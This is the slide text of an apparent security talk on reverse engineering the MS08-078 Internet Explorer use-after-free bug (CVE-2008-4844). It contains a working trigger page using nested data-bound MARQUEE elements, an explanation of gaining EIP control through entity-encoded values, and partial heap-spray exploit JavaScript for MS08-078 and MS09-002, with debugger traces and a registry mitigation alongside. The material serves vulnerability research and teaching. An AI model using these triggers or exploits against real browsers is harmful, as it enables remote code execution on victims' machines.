Inception: Tips and tricks I’ve learned reversing vulnerabilities!

Agenda

• 0000 – Motivation • 0100 – Dream Level 3

• 0001 – Inception • 0101 – Dream Level 4

• 0010 – Dream Level 1 • 0110 – Demonstration

• 0011 – Dream Level 2 • 0111 – Kick or Limbo

Politically correct or incorrect?

Polemic mode OFF Polemic mode ON
• Every time a new vulnerability comes out, we • Many presentations have been done in
should be ready to understand it, in order to H2HC, related to reverse engineer, as well as
perform: Exploitation, Detection, Prevention too much useless information.
and Mitigation.
• Mostly related to purpose-built frameworks,
tools and libraries.
• Sometimes, none or just few vulnerability
information is publicly available:
• Some others addressing how to translate to a
– CVE descriptions can be useless readable format. Ex.:
; accept(SOCKET, struct sockaddr FAR*, int FAR*)
push ebx ; ebx = int FAR*
• Sometimes, these vulnerability information push esp ; esp = struct sockaddr FAR*
are wrong or, to be polite, incorrect: push edi ; edi = SOCKET
call _accept ; accept(edi, esp, ebx)
– CVE descriptions can also be incorrect mov edi, eax ; moving eax to edi
; eax = return()
; edi = SOCKET accept()
• Reverse engineer is one of the most powerful
approaches available to deeply understand a
vulnerability, and, sometimes, to rediscover a • Leaving the apprentices in a “black hole”,
with tons of misinformation – I call this
vulnerability.
deception.

Back-to-basics

high

Memory mapping
• Process in the stack grows DOWN:
– LOW memory address
– BOTTOM of memory

• Process in the heap grows UP:
– HIGH memory address
– TOP of memory

• That is just to ensure we are all set before
moving forward!

low

Back-to-basics

Mistaken concepts
• What is the result of sizeof(array)?
int array[2] = {
0x12345678,
0x87654321
};

• How does the code access the 0x12345678
in this array[]?
array[0]

• How does the code access the 0x87654321
in this array[]?
array[1]

• How does the code create an index to access
the array[] elements?
(sizeof(array)/sizeof(int)) – 1
(sizeof(array) >> 2) – 1

Reverse engineer

• Information is a keyword to move forward in
Rediscovery a reverse engineer – apprentices must know
how to perform reverse engineer, instead of
• Rediscover a vulnerability means that you did how to use a purpose-built framework, tool
not actually discover the vulnerability, but or library.
you can, and are able to, figure out valuable
information about it.
• “There is a new %ApplicationName%
vulnerability affecting all versions!”
• Some vulnerabilities do not have proof-of-
concept codes released – consequentially, no – It is not a valuable information – lacks
valuable information – due to the impact on: detail
– Widely used software
– Critical infra-structure • A couple of good information are as good as
all the information you need.
• There are some other reasons which can also – Drops can fill an ocean
induce to a non-disclosure, such as:
– Unavailability of a patch (0-day) • Do not feel comfortable with “free
– Non Disclosure Agreement information”, because sometimes there is no
– Proof-of-concept codes are for sale shortcut to the valuable information.
(good sense and/or bad sense) – There is no such thing as a free lunch

• Time to separate the men from the boys.

Reverse engineer

• Benignant:
Definition – Lost documentation
– Product analysis
• Process of discovering the technological – Security auditing
principles of:
– Academic purposes
– Device
– Learning purposes
– Object
– Curiosity
– or System
– Etc…

• Analysis of its:
• Malignant:
– Structure
– Acquiring sensitive data
– Function
– Military or commercial espionage
– and Operation
– Removal of copy protection
– Sabotage purposes
• Analyzing its workings in detail. For example:
– Tampering purposes
– Mechanical device
– Etc…
– Electronic component
– Biological, chemical or organic matter
– Software program

Architecting the dream levels
Unconditional

Complete (YES)

Vulnerable
Ecosystem Incomplete (NO)

Knowledge (FEED)

Vulnerability Specifications? Black Box Knowledge?

Knowledge
Base

White Box
Code Review? Knowledge?
Black Box

Knowledge Exploitation Arbitrary code
Base Detection Attack detection

Architecting the dream levels
Unconditional

Complete (YES)

Vulnerable
Ecosystem Incomplete (NO)

Dream Level 2 Knowledge (FEED)

Vulnerability Specifications? Black Box Knowledge?

Knowledge
Dream Level 1 Base

White Box
Code Review? Knowledge?
Black Box

Dream Level 3

Knowledge Exploitation Arbitrary code
Base Detection Attack detection

Dream Level 4

Checklist

1. Has a vulnerability been chosen? • There is nothing to do without a vulnerability.

2. Are there valuable information • Gather valuable information to understand the weakness
about the vulnerability? type regarding the vulnerability, as well as any feature
and/or technology surrounding to trigger the vulnerability.

3. Is the vulnerable ecosystem • Avoid exotic vulnerable ecosystem, because it must be
affordable? configured as a test-bed and its deep knowledge are “sine
qua non”.

4. Are there public tools available • A good set of public tools will define the success of the
to perform a reverse engineer? reverse engineer – development skills are always necessary,
otherwise the reverse engineer will fail.

5. Which analysis method should • Choose and understand the analysis method that will be
be applied? applied.

Valuable information

• KB961051:
MS08-078 – Disable XML Island functionality

• CCC (a.k.a. “The Commons”): • MS08-078:
– CVE-2008-4844 – “…invalid pointer reference in the data
– CWE-367 – TOCTOU Race Condition binding…”
– CVSS – 9.3 (HIGH) – “…leaving the potential to access the
deleted object's memory space…”
• Affected system:
– Microsoft Internet Explorer 5.01 SP4 • CVE-2008-4844:
– Microsoft Internet Explorer 6 SP 0/1 – “Use-after-free vulnerability in
– Microsoft Internet Explorer 7 mshtml.dll…”
– Microsoft Internet Explorer 8 Beta 1/2 – “…XML document containing nested
SPAN elements…”
– Microsoft Windows XP SP 1/2/3
– Microsoft Windows Vista SP 0/1/2
– Microsoft Windows Server 2003 SP 0/1/2
– Microsoft Windows Server 2008 SP 0/1/2

Vulnerable ecosystem
2008: Browser Market Share
Source: NetMarketShare™

1.02 %
2.65 %

2.00 %

75.48 %

18.85 %

Microsoft Internet Explorer Firefox Opera Safari Other

Q4 2008: Browser Version
Source: StatOWL

0.78 %
27.94 %

71.28 %

Microsoft Internet Explorer 6.x Microsoft Internet Explorer 7.x Microsoft Internet Explorer 8.x

Q4 2008: Windows Version
0.05 % Source: StatOWL
0.1 0.12 %
6 %0.51 %

1.72 %

76.56 %
20.88 %

Microsoft Windows XP Microsoft Windows Vista Microsoft Windows 2000
Microsoft Windows Server 2003 Microsoft Windows 98 Microsoft Windows ME
Other

Public Tools

• In addition to Debugging Tools for Windows,
Debugging Tools effective debugging also requires Access to
Windows symbol files.
• It is a set of extensible tools for debugging
device drivers for the Microsoft Windows • If you have access to the Internet while
family of operating systems. debugging, you can set your debugger’s
symbol path to point to the Windows symbol
• It supports debugging of: server.
– Applications, services, drivers, and the – http://msdl.microsoft.com/download/sy
Windows kernel mbols
– Native 32-bit x86, native Intel Itanium,
and native x64 platforms • If you do not have access to the Internet
– Microsoft Windows NT 4.0, Windows while debugging, you can download symbols in
2000, Windows XP, Microsoft Windows advance from the Microsoft website.
Server 2003, Windows Vista and
Windows Server 2008 • For further details, refer to Microsoft
– User-mode programs and kernel-mode Support – article ID KB311530.
programs
– Live targets and dump files
– Local and remote targets

Analysis methods

White Box Black Box
• Involves analyzing and understanding the • Involves analyzing a running software by
source code (API, data structure, etc…) for probing it with various inputs – it does not
a specific software and relies on knowledge require any sort of source code analysis – and
of the software internal structures or relies on external descriptions of the
workings. software, including specifications,
requirements, and designs.
• Source code can also refers to decompiled
binary, which provides some sort of source • Various inputs can also refers to fuzzing
code. (mutation or generation-based), monitoring
for exception.
• Also known as Static Code Analysis, and it
looks at applications in non-runtime • Also known as Dynamic Code Analysis, and it
environment. looks at applications in runtime environment.

Grey/Gray Box
• It is a mix of White Box and Black Box.

Checklist

1. Vulnerability • MS08-078
• CVE-2008-4844

3. Valuable Information • Keywords: “XML Island”, “Data Binding”, “use-after-free”,
“MSHTML.dll”, “XML document”, “<SPAN>”, "nested"

3. Vulnerable Ecosystem • Microsoft Internet Explorer 7
• Microsoft Windows XP SP3

4. Public Tools • Debugging Tools for Windows
• Windows Symbol Package for Windows XP SP3
• IDA Pro 5.0 Freeware Version

5. Analysis Method • White Box
• Black Box
• Grey/Gray Box

Keep in mind

“Science is 1% inspiration and 99% perspiration.”

XML island

• Sample #1:
Description <XML ID=I>
<X>
• XML Data Island: <C>TEXT</C>
– XML document that exists within an </X>
HTML page
</XML>

• Allows to script against the XML document:
• Sample #2:
– Without having to load the XML
<XML SRC=“./xmlFile.xml”></XML>
document through script or through
the <OBJECT> tag
• Sample #3:
• XML Data Island can be embedded using one <SCRIPT ID=I LANGUAGE =“XML”>
of the following methods. <X>
– HTML <XML> element <C>TEXT</C>
– HTML <SCRIPT> element </X>
</SCRIPT>

Data binding

• Sample #1:

Description <SPAN DATASRC=#I
DATAFLD=C
• Data Source Object (DSO): DATAFORMATAS=HTML>
– To bind data to the elements of an </SPAN>
HTML page in Microsoft Internet
Explorer, a DSO must be present on • Sample #2:
that page <TABLE DATASRC=#I>
<TR>
• Data Consumers: <TD><DIV DATAFLD=C
– Data consumers are elements on the DATAFORMATAS=HTML>
HTML page that are capable of </DIV></TD>
rendering the data supplied by a DSO </TR>
</TABLE>
• Binding Agent and Table Repetition Agent:
– The binding and repetition agents are • Sample #3:
implemented by MSHTML.dll, the <MARQUEE DATASRC=#I
HTML viewer for Microsoft Internet DATAFLD=C
Explorer, and they work completely DATAFORMATAS=HTML>
behind the scenes </MARQUEE>

Use-after-free

• Sample #1:
Description char *ptr = malloc(20);
for (i = 0 ; i < 19 ; i++)
• Referencing memory after it has been freed ptr[i] = “A”;
can cause a program to crash, use
unexpected values, or execute code. i[19] = “0”;
free(ptr);
• The use of previously-freed memory can have printf(“%sn”, ptr);
any number of adverse consequences, ranging
from the corruption of valid data to the
execution of arbitrary code. • Sample #2:
char *ptr = (char *) malloc(SIZE);
• Use-after-free errors have two common and if(err){
sometimes overlapping causes: abrt = 1;
– Error conditions and other exceptional free(ptr);
circumstances
}
– Confusion over which part of the
program is responsible for freeing the if(abrt)
memory logError(“aborted”, ptr);

• Briefly, an use-after-free vulnerability can
lead to execute arbitrary code.

Microsoft® HTML Viewer (MSHTML.dll)

Description
• MSHTML.dll is at the heart of Internet
Explorer and takes care of its HTML and
Cascading Style Sheets (CSS) parsing and
rendering functionality.

• MSHTML.dll exposes interfaces that enable
you to host it as an active document.

• MSHTML.dll may be called upon to host
other components depending on the HTML
document's content, such as:
– Scripting Engines:
• Microsoft Java Scripting (JScript)
• Visual Basic Scripting (VBScript)
– ActiveX Controls
– XML Data
– Etc..

XML document

• There are alternative for the five built-in
character entities:
Description – “<”, “>”, “&”, “"” and
“'”
• Defined by W3C:
– CDATA can also be applied in order to
– “Extensible Markup Language (XML) 1.0 escape them
(Fifth Edition)” (November 28th, 2008)
• XML documents accept:
• XML elements must follow some basic name – Self definitions in a Document Type
rules: Definition (DTD)
– Names can contain letters, numbers, – Unicode characters (UTF-8 and UTF-16)
and other characters
– Names must not start with a number or • XML documents also accept the syntax
punctuation character “&#xH;” or “&#XH;”, where H is a hexadecimal
– Names must not start with the letters number, which refers to the ISO 10646
hexadecimal character number H – also
xml (or XML, or Xml, etc)
recommended by W3C:
– Names cannot contain spaces – “HTML 4.01 Specification” (December
24th, 1999)
• There are only five built-in character entities
for XML: • ISO 10646 – “Universal Multiple-Octet Coded
– “<”, “>”, “&”, “”” and “’” Character Set (UCS)”.

Trigger the vulnerability

• More from SDL:
XML and data binding – “When data binding is used, IE creates
an object which contains an array of
• First clue about this trigger came from data binding objects.”
Microsoft Security Development Lifecycle
(SDL): • It might mean that one – or more – of the
– “Triggering the bug would require a following objects must be nested to be
fuzzing tool that builds data streams “allocated” and “released”: XML Data Island,
with multiple data binding constructs Data Source Object (DSO), Data
with the same identifier.” Consumers.
– “Random (or dumb) fuzzing payloads of
this data type would probably not • Suggestion:
trigger the bug, however.”
– Understand how the browser render
engine works
• Remember that there are much more samples
available regarding both XML Island and
• Nested means:
Data Binding.
<{HTMLElement}>
<{HTMLElement}></{HTMLElement}>
• There is one special sample, well-known by
security community, that must be </{HTMLElement}>
considered.

<HTML>
<SCRIPT LANGUAGE=“JavaScript”>
function Inception(){
document.getElementById(“b00m”).innerHTML =
“<XML ID=I>” +
“<X>” +
“<C>” +
“<IMG SRC="javascript:alert('XSS')">” +
“</C>” +
“</X>” +
“</XML>” +
“<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>” +
“<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>” +
“</MARQUEE>” +
“</MARQUEE>”; }
</SCRIPT>
<BODY onLoad=“Inception();”>
<DIV ID=“b00m”></DIV></BODY>
</HTML>

Map the vulnerability

• Ensure to load the Windows symbol files, in
First contact order to understand the vulnerability – it will
be very helpful to map the object classes,
• The first contact is the most important properties and/or methods.
reverse engineer step.
• Suggestions:
• It will define all the next steps the reverse – Display stack backtrace to show the last
engineer will follow in order to acquire object classes and their respective
knowledge about the vulnerability. properties and/or methods
– Disassemble the object classes,
• Remember: properties and/or methods
– “It’s the first impression that stays on!” – Set breakpoints for the object classes,
properties and/or methods
– Follow the execution flow in order to
• The first contact (impression) will lead all the
map and understand the root cause
rest of reverse engineer , no matter what is
done after – pay attention.

Understand the vulnerability

esi = ((dword ptr [edi+8]) >> 2) - 1;
ebx = 0;

do{
eax = dword ptr [edi+12];
ecx = dword ptr [eax+ebx*4];

if(!(ecx)) break;

ecx->mshtml!CXfer::TransferFromSrc();
...
ebx++;
}while(ebx <= esi);


esi = ((dword ptr [edi+8]) >> 2) - 1;
ebx = 0;

do{
if((((dword ptr [edi+8]) >> 2) – 1) <= ebx) break;

eax = dword ptr [edi+12];
ecx = dword ptr [eax+ebx*4];

if(!(ecx)) break;

ecx->mshtml!CXfer::TransferFromSrc();
...
ebx++;
}while(ebx <= esi);


More from Microsoft Security Development Lifecycle (SDL):

int MaxIdx = ArrayOfObjectsFromIE.Size()-1;

for (int i=0; i <= MaxIdx; i++) {

if (!ArrayOfObjectsFromIE[i])
continue;

ArrayOfObjectsFromIE[i]->TransferFromSource();

...

}

Control the execution flow
<XML ID=I>
<X>
<C>
<IMG SRC="javascript:alert('XSS')">
</C>
</X>
</XML>
</MARQUEE>
</MARQUEE>

<XML ID=I>
<X>
<C>
</C>
</X>
</XML>
</MARQUEE>
</MARQUEE>

&#97 = “a”
&#108 = “l”
&#101 = “e”
&#114 = “r”
&#116 = “t”

<XML ID=I>
<X>
<C>
</C>
</X>
</XML>
</MARQUEE>
</MARQUEE>

&#x61 = “a”
&#x6c = “l”
&#x65 = “e”
&#x72 = “r”
&#x74 = “t”

<XML ID=I>
<X>
<C>
</C>
</X>
</XML>
</MARQUEE>
</MARQUEE>

&#x0061 = “a”
&#x006c = “l”
&#x0065 = “e”
&#x0072 = “r”
&#x0074 = “t”

<XML ID=I>
<X>
<C>
<IMG SRC=“javascript:ਊਊert(‘XSS’)”>
</C>
</X>
</XML>
</MARQUEE>
</MARQUEE>

mshtml!CXfer::TransferFromSrc+0xa
DWORD PTR [ESI] = 0A0A0A0Ah
mshtml!CXfer::TransferFromSrc+0x18
EAX = 0A0A0A0Ah
ECX = DWROD PTR [EAX] {EAX = HEAP}
EIP = DWPRD PTR [ECX+84h] {ECX+84h = 0A0A0A0Ah}

<XML ID=I>
<X>
<C>
<IMG SRC=“javascript:噸ሴert(‘XSS’)”>
</C>
</X>
</XML>
</MARQUEE>
</MARQUEE>

mshtml!CXfer::TransferFromSrc+0xa
DWORD PTR [ESI] = 12345678h
EAX = 12345678h
ECX = DWORD PTR [EAX] {EAX = HEAP}
EIP = DWORD PTR [ECX+84h] {ECX+84h = 12345678h}

Execute arbitrary code

• Object Constructor:

Heap spray var obj = new Exploit();

• Wikipedia description: • Object Properties:
– “In computer security, heap spraying is a obj.detail
technique used in exploits to facilitate obj.offset
arbitrary code execution.” obj.message
– “In general, code that sprays the heap obj.code
attempts to put a certain sequence of
bytes at a predetermined location in the • Object Methods:
memory of a target process by having it obj.address(address,format)
allocate (large) blocks on the process' obj.ascii(method,format,size)
heap and fill the bytes in these blocks
obj.banner(memory)
with the right values.”
obj.check(address,shellcode,memory)
obj.even(shellcode)
• Now you know what the Heap Spray is, right? obj.hexa(address,size)
obj.memory(address)
• A JavaScript library has been created to obj.random(maximum)
optimize the exploitation – inspired on: obj.shellcode(shellcode,format)
– JavaScript Heap Exploitation library by obj.spray(address,shellcode,memory)
Alexander Sotirov

Execute arbitrary code

function Inception (){
var ms08_078 = new Exploit();
var choice, memory, address, shellcode, trigger = new String();

ms08_078.detail = [“MS08-078”, “0.01”, “20111015”, “Nelson Brito”];
ms08_078.offset = [0x0a0a0a0a];
ms08_078.code[1] = “cc cc cc cc”;

choice = ms08_078.random(ms08_078.offset.length);
memory = ms08_078.memory(ms08_078.offset[choice]);
address = ms08_078.address(ms08_078.offset[choice], 0);
shellcode = ms08_078.shellcode(ms08_078.code[1], 0);

trigger = trigger.concat(“<XML ID=I><X><C><IMG SRC="javascript:”);
...
if(ms08_078.spray(address, shellcode, memory))
document.getElementById(“b00m”).innerHTML = trigger;
}

What really happens?

HEAP

DWORD PTR [EDI+08h] DWORD PTR [EDI+0Ch]

ESI DWORD PTR [EAX+EBX*4]

STACK

<XML ID=I><X><C><IMG SRC=“javascript:alert(‘XSS’)”></C></X></XML>
<MARQUEE DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></MARQUEE>
</MARQUEE>


HEAP

DWORD PTR [EDI+08h] DWORD PTR [EDI+0Ch]


STACK

mshtml!CRecordInstance::TransferToDestination+0x9

</MARQUEE>


HEAP

DWORD PTR [EDI+08h] = 8 DWORD PTR [EDI+0Ch]


STACK


</MARQUEE>


HEAP

DWORD PTR [EDI+08h] = 8 DWORD PTR [EDI+0Ch] = 0x12345678


STACK


</MARQUEE>


HEAP


ESI = 8 DWORD PTR [EAX+EBX*4]

STACK

mshtml!CRecordInstance::TransferToDestination+0xb

</MARQUEE>


HEAP



STACK


</MARQUEE>


HEAP


ESI = 1 DWORD PTR [EAX+EBX*4] = 0x12345678

STACK


</MARQUEE>


HEAP



STACK


</MARQUEE>


HEAP



STACK

mshtml!CXfer::TransferFromSrc

</MARQUEE>


HEAP



STACK

mshtml!CXfer::TransferFromSrc+0xc3

</MARQUEE>


HEAP



STACK

mshtml!CDBindMethodsMarquee::BoundValueToElement+0x12

</MARQUEE>


HEAP



STACK

mshtml!CDBindMethodsText::BoundValueToElement+0x1d

</MARQUEE>


HEAP



STACK

mshtml!CElement::Inject+0x2e9

</MARQUEE>


HEAP



STACK

mshtml!HandleHTMLInjection+0x4b

</MARQUEE>


HEAP



STACK

mshtml!HandleHTMLInjection+0x153

</MARQUEE>


HEAP



STACK

mshtml!RemoveWithBreakOnEmpty+0x40

</MARQUEE>


HEAP



STACK

mshtml!CDoc::Remove+0x12

</MARQUEE>


HEAP



STACK

mshtml!CDoc::CutCopyMove+0xd3

</MARQUEE>


HEAP



STACK

mshtml!CMarkup::SpliceTreeInternal+0x8d

</MARQUEE>


HEAP



STACK

mshtml!CSpliceTreeEngine::RemoveSplice+0x2cf

</MARQUEE>


HEAP



STACK

mshtml!CElement::Notify+0x119

</MARQUEE>


HEAP



STACK

mshtml!CElement::ExitTree+123

</MARQUEE>


HEAP



STACK

mshtml!CElement::DetachDataBindings+0x20

</MARQUEE>


HEAP



STACK

mshtml!CDataBindingEvents::DetachBinding+0x70

</MARQUEE>


HEAP



STACK

mshtml!CRecordInstance::RemoveBinding+0x47

</MARQUEE>


HEAP



STACK

mshtml!_MemFree+0x16

</MARQUEE>


HEAP



STACK

kernel32!HeapFree+0xf

</MARQUEE>


HEAP



STACK

ntdll!RtlFreeHeap+0x149

</MARQUEE>


HEAP



STACK

ntdll!RtlpFreeHeap+0x5a

</MARQUEE>


HEAP



STACK

mshtml!CMarkup::SpliceTreeInternal+0x92

</MARQUEE>


HEAP



STACK

mshtml!CMarkup::SpliceTreeInternal+0xa7

</MARQUEE>


HEAP



STACK

mshtml!CSpliceTreeEngine::InsertSplice+0xa04

</MARQUEE>


HEAP



STACK

mshtml!CImgElement::Notify+0x27

</MARQUEE>


HEAP



STACK

mshtml!CImgHelper::Notify+0x1b1

</MARQUEE>


HEAP



STACK

mshtml!CImgHelper::EnterTree+0x122

</MARQUEE>


HEAP



STACK

mshtml!CImgHelper::SetImgSrc+0x1e

</MARQUEE>


HEAP



STACK

mshtml!CImgHelper::FetchAndSetImgCtx+0x56

</MARQUEE>


HEAP



STACK

mshtml!CDoc::NewDwnCtx+0x52

</MARQUEE>


HEAP



STACK

mshtml!CDoc::NewDwnCtx2+0x149

</MARQUEE>


HEAP



STACK

mshtml!NewDwnCtx+0x53

</MARQUEE>


HEAP



STACK

mshtml!CDwnCtx::SetLoad+0x71

</MARQUEE>


HEAP



STACK

mshtml!CDwnInfo::SetLoad+0x107

</MARQUEE>


HEAP



STACK

mshtml!CImgLoad::Init+0x3a

</MARQUEE>


HEAP



STACK

mshtml!CDwnLoad::Init+0xe3

</MARQUEE>


HEAP



STACK

mshtml!NewDwnBindData+0xb7

</MARQUEE>


HEAP



STACK

mshtml!CDwnBindData::Bind+0x518

</MARQUEE>


HEAP



STACK

urlmon!CreateURLMonikerEx2+0x38

</MARQUEE>


HEAP



STACK

urlmon!CoInternetCreateZoneManager+0x884

</MARQUEE>


HEAP



STACK

urlmon!ShouldShowIntranetWarningSecband+0xd24

</MARQUEE>


HEAP



STACK

urlmon!CoInternetParseIUri+0x2ae

</MARQUEE>


HEAP



STACK

urlmon!CreateUri+0x13

</MARQUEE>


HEAP



STACK

urlmon!CreateUriWithFragment+0x19

</MARQUEE>


HEAP



STACK

urlmon!CoInternetGetSession+0xf5d

</MARQUEE>


HEAP



STACK

urlmon!CoInternetGetSession+0x1014

</MARQUEE>


HEAP



STACK

urlmon!CoInternetGetSession+0x883

</MARQUEE>


HEAP



STACK

urlmon!GetPortFromUrlScheme+0x2037

</MARQUEE>


HEAP



STACK

urlmon!QueryAssociations+0x00001923

</MARQUEE>


HEAP



STACK

urlmon!GetPortFromUrlScheme+0xd4e

</MARQUEE>


HEAP



STACK

urlmon!CoInternetIsFeatureEnabled+0x7d

</MARQUEE>


HEAP



STACK

ole32!CoTaskMemAlloc+0xe

</MARQUEE>


HEAP



STACK

ole32!ComPs_NdrDllCanUnloadNow+0xf5

</MARQUEE>


HEAP



STACK

ntdll!RtlAllocateHeap+0xe5f

</MARQUEE>


HEAP

DWORD PTR [EDI+08h] = 4 DWORD PTR [EDI+0Ch] = 0x006C0061


STACK

mshtml!CRecordInstance::TransferToDestination+0x2a

</MARQUEE>


HEAP


ESI = 1 DWORD PTR [EAX+EBX*4] = 0x006C0061

STACK


</MARQUEE>


HEAP



STACK


</MARQUEE>


HEAP



STACK

mshtml!CXfer::TransferFromSrc

</MARQUEE>


HEAP



STACK


</MARQUEE>


HEAP



STACK

{MOV ECX, DWORD PTR [EAX] DS:0023:006C0061=????????}

</MARQUEE>


• Two HTML <MARQUEE> Elements nested (cascaded):
– CMarkup::SpliceTreeInternal releases the CMarkup and CElement objects, consequently,
freeing the memory allocated.

• One HTML <IMG> Element:
– CMarkup::SpliceTreeInternal allocates a new CMarkup and CElement objects, using the
previously freed memory to store the SRC.

</MARQUEE>
</MARQUEE>

Inception bonus #1
• KB961051 – Disable XML Island functionality
– Disable XML Island functionality
• Create a backup copy of the registry keys by using the following command from an
elevated command prompt:
…
• Next, save the following to a file with a .REG extension, such as
Disable_XML_Island.reg:
Windows Registry Editor Version 5.00
[-HKEY_CLASSES_ROOTCLSID{379E501F-B231-11D1-ADC1-00805FC752D8}]
• Run Disable_XML_Island.reg with the following command from an elevated command
prompt:
Regedit.exe /s Disable_XML_Island.reg

550DDA30-0541-11D2-9CA9-0060B0EC3D39 (XML Data Source Object 1.0)
F5078F39-C551-11D3-89B9-0000F81FE221 (XML Data Source Object 3.0)
F6D90F14-9C73-11D3-B32E-00C04F990BB4 (XML Data Source Object 3.0)
333C7BC4-460F-11D0-BC04-0080C7055A83 (Tabular Data Control)

Inception bonus #1
var ... automation = new Boolean(false), wshell,
hkey = “HKCRCLSID{379E501F-B231-11D1-ADC1-00805FC752D8}”;
...
try{
wshell = new ActiveXObject(“WScript.Shell”);
automation = true;
}catch(error){
automation = false;
}

if(automation){
try{
wshell.RegRead(hkey);
}catch(error){
automation = false;
}
}
...
}

Inception bonus #1
<OBJECT CLASSID=“clsid:333C7BC4-460F-11D0-BC04-0080C7055A83” ID=“tdcLinks”>
<PARAM NAME=“DataURL” VALUE=“links.csv”>
<PARAM NAME=“UseHeader” VALUE=“True”>
</OBJECT>
<A DATASRC=“#tdcLinks” DATAFLD=“link_href”>
<SPAN DATASRC=“#tdcLinks” DATAFLD=“link_friendly”>
<SPAN DATASRC=“#tdcLinks” DATAFLD=“link_friendly”>
</SPAN>
</SPAN>
</A>

(bc.e34): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=76203520 ebx=00000000 ecx=7620b254 edx=7e90876d esi=02299cd0 edi=00190cd8
eip=08468bff esp=01e8fc94 ebp=01e8fcc0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
08468bff ?? ???

Inception bonus #2
var choice, memory, address, shellcode, trigger = new String(),
...
__04 = document.createElement(“area”),
__05 = document.createAttribute(“href”);
...
ms09_002.detail = [“MS09-002”, “0.01”, “20111016”, “Nelson Brito”];
ms09_002.offset = [0x0c0c0c0c];
...
__05.nodeValue = unescape(address + padding);
__04.setAttributeNode(__05);

for(var i = 0 ; i < 1024 ; i++)
__06.push(__04);
...
if(ms09_002.spray(address, shellcode, memory))
__02.componentFromPoint;
}

Inception bonus #3

mshtml!CDBindMethodsText::BoundValueToElement
mshtml!CDBindMethodsObject::BoundValueToElement
mshtml!CDBindMethodsMarquee::BoundValueToElement
mshtml!CDBindMethodsSelect::BoundValueToElement
mshtml!CDBindMethodsImg::BoundValueToElement
mshtml!CDBindMethodsAnchor::BoundValueToElement
mshtml!CDBindMethodsWndSelect::BoundValueToElement
mshtml!CDBindMethodsRadio::BoundValueToElement
mshtml!CDBindMethodsSimple::BoundValueFromElement
mshtml!CDBindMethodsTextarea::BoundValueToElement
mshtml!CDBindMethodsCheckbox::BoundValueToElement
mshtml!CDBindMethodsTable::BoundValueToElement
mshtml!CDBindMethodsFrame::BoundValueToElement
mshtml!CDBindMethodsInputTxtBase::BoundValueToElement

Inception: Tips and tricks I’ve learned reversing vulnerabilities!

More Related Content

Viewers also liked (16)

Similar to Inception: Tips and tricks I’ve learned reversing vulnerabilities! (20)

More from Nelson Brito (10)

Recently uploaded (20)

Inception: Tips and tricks I’ve learned reversing vulnerabilities!